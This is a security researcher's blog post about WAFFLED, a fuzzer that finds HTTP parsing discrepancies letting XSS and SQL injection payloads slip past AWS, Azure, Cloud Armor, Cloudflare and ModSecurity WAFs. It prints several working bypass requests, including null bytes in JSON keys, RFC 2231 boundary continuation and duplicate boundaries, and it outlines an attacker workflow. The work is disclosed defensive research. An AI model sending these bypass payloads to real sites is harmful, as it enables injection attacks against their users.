WAFFLED: When the Firewall and the Server Disagree
This blog post is the version of my WAFFLED paper that in which, I have more freedom to tell you about the idea, why it works, what we found, and what I think it means for anyone currently relying on a WAF for their website security and calling it a day (please don't).
TL;DR
Web Application Firewalls (WAFs) sit in front of backend servers to catch malicious requests: SQLi, XSS, command injection, the usual. To decide whether a request is malicious, the WAF has to parse it first. So does the backend. Those two parsers are almost never the same code, and they rarely agree on HTTP spec edge cases.
We built a grammar-based HTTP fuzzer that systematically hunts for requests where the WAF and the backend disagree: the WAF parses the request as benign because it cannot see the attack payload, while the backend extracts and executes the attack payload.
Critically, the payload itself is never encoded, obfuscated, or reshaped! It sits in the request in plaintext. The WAF just fails to notice it because the request is structured in a way that breaks its parser.
We ran it against five of the most widely deployed WAFs — AWS WAF, Microsoft Azure WAF, Google Cloud Armor, Cloudflare, and ModSecurity with OWASP CRS — across six popular web frameworks (Flask, FastAPI, Express, Gin, Laravel, Spring Boot).
We found 1,207 unique bypasses, clustered into 24 distinct bypass classes across application/json, application/xml, and multipart/form-data.
Four out of five WAFs were vulnerable to at least one class.
All bypasses were responsibly disclosed; several vendors shipped fixes and some awarded bug bounties.
Code and artifacts: github.com/sa-akhavani/waffled.
RFCs: The culprits behind HTTP issues
Most discussion around web security treats HTTP as if it were a clean, well-specified protocol. It isn't. The RFCs that define HTTP, MIME, and media types have been written and revised over three decades. They contain deprecated features that parsers still honor, ambiguous phrasing that different implementations resolve differently, and mentions that senders "sometimes incorrectly generate" malformed content that recipients should handle gracefully, with no instructions. Each of those ambiguities is a place where two parsers can diverge.
A few concrete examples that show up directly in our bypasses:
Duplicate Content-Type headers are "invalid but common." RFC 9110 §8.3 says Content-Type is a singleton field (only one value allowed). Then it notes, in the same section, that it is "sometimes incorrectly generated multiple times, resulting in a combined field value that appears to be a list. Recipients often attempt to handle this error by using the last syntactically valid member of the list, leading to potential interoperability and security issues if different implementations have different error handling behaviors." The spec itself flags this as a footgun, and then leaves the behavior undefined.
Parameter value continuation. RFC 2231 allows a single parameter value to be split across multiple parameters using *0, *1, *2 suffixes.
This was designed for encoding long filenames, but it applies to any parameter, including boundary.
The spec permits a declaration like boundary*0=real-;boundary*1=boundary, and some parsers concatenate these into real-boundary if they support this RFC, some don't. Same bytes, two interpretations.
Deprecated but still processed. Content-Transfer-Encoding inside multipart/form-data is deprecated by RFC 7578 §4.7 — "Senders SHOULD NOT generate" it. But parsers that have been around for a while still honor it, which means attackers can inject it to change how one side of the pipeline interprets the body while the other side ignores it.
Whitespace and casing rules vary by spec version.
RFC 822 allowed whitespace on either side of header colons;
RFC 5322 later explicitly disallowed folding whitespace between the field name and the colon.
Which rule a given parser follows depends on which spec the author was reading.
Similarly, media types like Text/HTML;Charset="utf-8" and text/html;charset=UTF-8 are supposed to be equivalent, but only parsers that correctly implement case-insensitive parameter matching will treat them that way!
To be fair to the RFCs, most of this isn't sloppiness. HTTP has to work across thirty years of clients, proxies, CDNs, and weird enterprise middleboxes, and the specs get written to preserve backward compatibility and avoid breaking deployed software. "SHOULD" instead of "MUST" is an honest admission that the HTTP world is messy and senders will do weird things regardless. The unfortunate side effect is that every ambiguity becomes a place where two well-intentioned parsers can legitimately disagree. This disagreement is the attack surface we went after!
Why this attack surface exists
HTTP looks simple on the surface. In practice, a single POST request involves decisions about:
- Duplicate headers, case sensitivity, and whitespace
Content-Typeparsing, including parameters and quoted valuesmultipart/form-databoundaries, including Unicode whitespace around themTransfer-Encoding,Content-Length, andchunkedencoding.- Content encodings (
gzip,deflate,br). - Form-data parameter decoding,
charset, MIME nesting
Every one of these has "expected" behavior in the spec and "actual" behavior in the wild, and "actual" varies per implementation. A WAF request parser written in Rust and a Python backend running behind it are two different parsers looking at the same bytes. If you can find a request they disagree on, you win.
The classical version of this idea shows up in HTTP request smuggling, where the disagreement is about message boundaries. We're applying the same principle to a different question: does this request contain an attack?
A quick tour of the three content types we attacked
Before the bypasses, it's worth remembering what the benign versions of these requests actually look like. Our whole attack surface is rooted in subtle deviations from these shapes.
JSON — the simplest of the three:
httpPOST /api/refiners HTTP/1.1 Host: mdr.lumon.industries Content-Type: application/json Content-Length: 22 {"innie":"mark_s"}
XML — verbose, with doctypes and schemas:
httpPOST /handbook/lookup HTTP/1.1 Host: compliance.lumon.industries Content-Type: application/xml Content-Length: 66 <?xml version="1.0" encoding="UTF-8"?> <tenet>Vision</tenet>
multipart/form-data — the most structurally complex, and unsurprisingly the most bypass-prone:
httpPOST /waffle-party/rsvp HTTP/1.1 Host: mdr.lumon.industries Content-Type: multipart/form-data; boundary=waffle Content-Length: 94 --waffle Content-Disposition: form-data; name="attendee" dylan_g --waffle--
Each format has layers: a request envelope (headers and metadata), a content-type declaration with parameters, per-part headers for multipart, nested schemas for XML, and ... Every layer is an attack surface.
Simple example: a one-byte JSON bypass
Let's look at the smallest single-byte bypass we found: A null byte in a JSON key.
The normal request (correctly blocked by every tested WAF):
httpPOST /api/innies HTTP/1.1 Host: ond.lumon.industries Content-Type: application/json Content-Length: 52 {"bio":"<script>alert(document.cookie)</script>"}
Every WAF in our test caught this. Now the bypass: The exact same payload, with a single \x00 inserted between the field name's closing quote and the colon:
httpPOST /api/innies HTTP/1.1 Host: ond.lumon.industries Content-Type: application/json Content-Length: 53 {"bio"\x00:"<script>alert(document.cookie)</script>"}
Google Cloud Armor lets this through. Spring Boot's Jackson-based JSON parser ignores the null byte and parses the object correctly, extracting bio with the XSS payload as its value.
The WAF's parser bailed out when it hit the null byte and decided the body was unparseable, so it skipped inspection and forwarded the request.
This is the simplest possible demonstration of the core idea: one byte of noise in a structurally irrelevant position is enough to split a WAF from a backend. No encoding tricks, no payload obfuscation. The attack payload is right there in plaintext.
Advanced example: smuggling via parameter continuation
Now the fun one. This bypass uses RFC 2231 parameter value continuation against itself.
httpPOST /innie/profile HTTP/1.1 Host: severed-floor.lumon.industries Content-Type: multipart/form-data; boundary=fake-boundary;boundary*0=real-;boundary*1=boundary Content-Length: 230 --fake-boundary Content-Disposition: form-data; name="innie_handle" helly_r --fake-boundary-- --real-boundary Content-Disposition: form-data; name="bio" <script>alert(document.cookie)</script> --real-boundary--
Look at the Content-Type line carefully. There are three boundary declarations: boundary=fake-boundary, boundary*0=real-, and boundary*1=boundary.
A parser that doesn't implement RFC 2231 takes the first one and uses fake-boundary as the delimiter.
A parser that does implement RFC 2231 concatenates the continuation: real- + boundary = real-boundary.
The WAF and the framework pick different sides. The WAF sees fake-boundary, finds the first part (which contains only helly_r, a harmless value), considers the body parsed, and forwards the request.
The framework sees real-boundary, ignores the fake-boundary section as noise, parses the second part, and hands <script>alert(document.cookie)</script> to the application.
More bypasses from the real disclosure reports
The paper documents 24 bypass classes across all three content types. Here are a handful more, pulled from the actual vendor reports we filed. All of them use the same trick: Introduce a structurally meaningless byte or reorder a parameter, and all of them split the WAF from the framework cleanly. And in every one of them, the XSS and SQLi payloads are sent in plaintext! No base64, no URL-encoding, no case-flipping, nothing.
JSON — Field Name Manipulation (Google Cloud Armor - Spring). Inserting \x00 inside a field name, instead of outside it, bypasses Cloud Armor while Spring still parses the JSON object as if the key were normal:
httpPOST /break-room/reserve HTTP/1.1 Host: mdr.lumon.industries Content-Type: application/json Content-Length: 55 {"res\x00ervee":"<script>alert(document.cookie)</script>"}
multipart — Charset Value Alteration (Cloud Armor - Spring, Flask, FastAPI, Gin, Busboy). The _charset_ part of a multipart body tells the framework how to decode later parts. A null byte inside the value is enough:
httpPOST /hr/ticket HTTP/1.1 Host: hr.lumon.industries Content-Type: multipart/form-data; boundary=real --real content-disposition: form-data; name="_charset_" u\x00tf-8 --real content-disposition: form-data; name="body" Content-Type: text/plain;charset=UTF-8 <script>alert(document.cookie)</script> --real--
Cloudflare — Boundary Delimiter Manipulation. Dropping one of the two leading hyphens before the boundary in the body ("--real" → "-real"). Invalid per the RFC, but parsed by Flask, Gin, Laravel, Spring Boot, and Busboy:
httpPOST /observations/log HTTP/1.1 Host: mdr.lumon.industries Content-Type: multipart/form-data; boundary=real -real content-disposition: form-data; name="notes" <script>alert(document.cookie)</script> --real--
Cloudflare — Linefeed Removal. Replacing \r\n with \r after the Content-Type header is enough to desync the WAF from the framework:
textContent-Type: multipart/form-data; boundary=real\r--real\r\n...
ModSecurity — XML Schema Closure Manipulation. Inserting a single benign character like j before </genre:schema> bypasses ModSecurity at paranoia level 1, while Spring, Flask, FastAPI, Express, and Gin still parse the XML correctly and extract the payload from <genre:field1>.
ModSecurity — Content-Type Header Parameter Removal. Deleting the literal string Content-Type: and leaving just the value application/xml on its own header line. Flask, Laravel, and Gin still correctly infer the content type and parse the body as XML.
ModSecurity — JSON Content-Type Removal. Simply drop the Content-Type header entirely:
httpPOST /goat-room/add-goats HTTP/1.1 Host: goatroom.lumon.industries Content-Length: 54 {"goats":"<script>alert(document.cookie)</script>"}
Flask, FastAPI, Gin, and Node.js all decide it's JSON, and parse it. ModSecurity's JSON ruleset depends on the header being present. Without the header, none of its body-content rules fire.
The JSON section accounted for 557 of the 1,207 bypasses, XML for 299, and multipart for 351. Every content type we tested had vulnerabilities in every WAF that supported it except AWS WAF, which came out clean across the board on our test corpus.
Why this is worse than it looks: content-type interchangeability
Here's the part that I think matters most for practitioners. You might read the above and think: "My app uses application/x-www-form-urlencoded, so I'm safe from multipart bypasses." You're probably not!
We did a small real-world study. Picked 100 popular websites from PublicWWW that had forgot-password forms without CAPTCHA, so we could replay requests cleanly.
We used Burp Suite's "Change body encoding" feature to submit the same logical request with a different content type: Swap application/x-www-form-urlencoded for multipart/form-data, and checked whether the backend processed it identically.
More than 90% of the tested websites accepted both interchangeably. The backend didn't care which format the client used; it just extracted the fields and moved on.
Here's what that looks like in practice. Suppose a website has a search endpoint that expects a form POST with a query parameter, and the WAF is looking for SQL injection in form fields.
A vanilla attack, correctly blocked:
httpPOST /handbook/search HTTP/1.1 Host: lumon.industries Content-Type: application/x-www-form-urlencoded Content-Length: 41 query=' OR 1=1 --&lang=en
The WAF sees query=' OR 1=1 --, flags it, returns 403. Fine.
Now the bypass. We send the same logical payload, but as multipart/form-data with a slightly non-standard boundary declaration:
httpPOST /handbook/search HTTP/1.1 Host: lumon.industries Content-Type: multipart/form-data; boundary="x",boundary=y Content-Length: ... --y Content-Disposition: form-data; name="query" ' OR 1=1 -- --y--
The WAF's Content-Type parser latches onto the first boundary= and looks for --x delimiters, finds none, and decides the body is unparseable. So it passes the request through without inspection.
The backend's parser is more forgiving and takes the last boundary= value, correctly parses the body, and happily executes the injection.
Two parsers dealing with same bytes, with opposite conclusions.
This is a huge deal, because the "attack surface" for our multipart bypasses isn't just sites that already use multipart. It's every site whose backend framework accepts multipart as a substitute, which is nearly all of them. Breaking down our sample:
- ~67% used
application/x-www-form-urlencoded— affected by multipart bypasses (attacker just switches the content-type) - ~25% used
application/json— affected directly by JSON bypasses - Combined: ~92% of tested web applications are potentially vulnerable to at least one class of bypass
The attacker workflow: identify the form, note that the backend accepts multipart, switch the content-type, apply a multipart bypass. The WAF that was protecting the form-urlencoded endpoint never gets a shot at the mutated multipart request, because its multipart inspection is weaker.
A partial solution: HTTP-Normalizer
Alongside the paper, we built a proof-of-concept tool called HTTP-Normalizer. It sits between the client and the WAF, strictly parses incoming requests against RFC ABNF grammars, and either normalizes the request into a canonical form or rejects it outright if it uses deprecated or malformed features.
The key insight is that almost every bypass in our paper relies on two things being true at once: (1) the RFC permits (or used to permit) the weird thing, and (2) the WAF handles it one way while the framework handles it another. If you normalize the request first: Strip deprecated features, canonicalize capitalization and whitespace, reject requests that can't be parsed cleanly. Then both the WAF and the backend see the same canonical bytes, and the disagreement disappears.
We tested the normalizer against 63 sampled bypasses covering all 12 multipart bypass classes. Every single one was either normalized into a clean request (8 cases) or rejected (55 cases). The 8 normalized requests were then blocked by Cloudflare's WAF, because without the weird formatting the payload matched a normal signature rule.
How our fuzzer works
At a high level, WAFFLED does three things:
-
Corpus. Parser-level mutations like splitting a
Content-Typewith unusual whitespace, wrapping headers in quoted values, inserting alternate boundary declarations, and so on. Each mutator preserves the semantic intent of the request (a real attack in the body) while changing the syntactic representation around it. -
Infrastructure. Every WAF has all six frameworks deployed behind it. A mutated request is sent through a WAF to a framework, and the framework reports back a success flag if it parsed the attack payload out of a form field. The interesting results are: WAF forwarded + framework extracted the payload.
-
Deduplication. Many bypasses are close siblings. We cluster by the specific parser behavior being exploited rather than by raw bytes, which is how we end up reporting unique techniques rather than just payloads.
The setup runs in Docker against cloud WAFs in test accounts, and locally against ModSecurity.
Final notes
A few things worth being upfront about:
This work is HTTP/1.1 only. HTTP/2 has a fundamentally different framing model. Binary, structured, with headers compressed via HPACK. And the parsing-discrepancy attack surface looks quite different there. Whether bypasses exist in HTTP/2 is a follow-up. My intuition is that some will, especially around pseudo-headers and request translation at edge proxies, but we haven't tested it yet.
We tested default parser configurations. Developers who write custom body parsers might be vulnerable to bypasses we didn't find, or might accidentally be immune to some we did. Custom parsing is out of scope.
Vendor responses. All vendors acknowledged the findings. Google Cloud Armor classified our report as Tier 1 / Priority 1 / Severity 2 under "Insecure by Default" and paid a bounty. ModSecurity acknowledged the bypasses in CRS 3.3. Cloudflare confirmed and said they were working on fixes. Azure noted they were retiring the affected CRS 3.0 in favor of a new one that blocked these attacks, which addresses these issues.
What I think this means for concerned people
If your backend parses an input loosely and trusts the WAF to sanitize it, you are one parser-disagreement away from being bypassed. And those disagreements are cheap to find at scale. Three takeaways:
- Don't rely on a WAF to compensate for unsafe backend code. Parameterized queries, output escaping, and type-safe deserialization do the real work.
- Normalize before you inspect. WAFs that canonicalize requests into a single representation before running rules are meaningfully harder to bypass.
- Assume parser disagreement exists and test for it. Our fuzzer is open-source. You can point it at your own stack.
Links
- Code & artifacts: github.com/sa-akhavani/waffled
- Paper (ACSAC 2025): doi.org/10.1109/ACSAC67867.2025.00062
- Slides (ACSAC 2025): waffled_slides_acsac
If you're working on WAFs, HTTP parsers, fuzzing, automatic threat detection, and want to chat, my email is on the homepage.